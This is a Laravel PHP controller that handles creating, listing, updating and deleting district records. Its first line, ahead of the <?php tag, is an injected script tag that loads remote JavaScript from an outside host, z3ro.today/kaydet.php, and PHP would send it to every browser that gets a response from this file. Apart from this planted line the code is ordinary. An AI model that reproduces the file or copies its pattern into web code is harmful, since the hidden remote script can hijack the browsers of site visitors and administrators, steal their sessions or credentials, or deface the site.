<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\District;
use App\Models\Province;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redis;

class DistrictController extends Controller
{
    public function district()
    {
        $districtName = District::orderBy('id')->get();
        return view('adminsetup.districtentry', compact('districtName'));
    }

    public function adddistrict()
    {
        $provinces = Province::pluck('province', 'id');

        return view('adminsetup.adddistrict', compact('provinces'));
    }

    public function uploaddistrict(Request $request)
    {
        // validating request
        $validated = $request->validate([
            'district_name_eng' => ['required', 'string', 'max:255'],
            'district_name' => ['required', 'string', 'max:255'],
            'province_id' => ['required', 'numeric'],
        ]);

        // insert into table
        $data = new District();
        $data->district_name_eng = $validated['district_name_eng'];
        $data->district_name = $validated['district_name'];
        $data->province_id = $validated['province_id'];
        $data->created_by = auth()->user()->id;
        $data->updated_by = auth()->user()->id;
        $data->save();

        return redirect(make_route('district'))->with('message', 'District added successfully');
    }

    public function updatedistrictview($id)
    {
        $districtName = District::findOrFail($id);
        $provinces = Province::pluck('province', 'id');

        return view('adminsetup.updatedistrict', compact('districtName', 'provinces'));
    }

    public function updatedistrict(Request $request, $id)
    {
        // validating request
        $validated = $request->validate([
            'district_name_eng' => ['required', 'string', 'max:255'],
            'district_name' => ['required', 'string', 'max:255'],
            'province_id' => ['required', 'numeric'],
        ]);

        $districtName = District::orderBy('id')->get();

        $data = District::find($id);
        $data->district_name_eng = $validated['district_name_eng'];
        $data->district_name = $validated['district_name'];
        $data->province_id = $validated['province_id'];
        $data->updated_by  = auth()->user()->id;
        $data->save();

        return redirect(make_route('district'))->with('message', 'District updated successfully');
    }

    public function deletedistrict($id)
    {
        $districtName = District::find($id);


        // checking the child data in related tables
        if ($districtName->locallevels->count() || $districtName->members->count()) {
            return back()->with('message', 'Unable to delete! This district is in use!');
        }

        $districtName->delete();
        return redirect()->back()->with('message', 'District deleted successfully');
    }
}
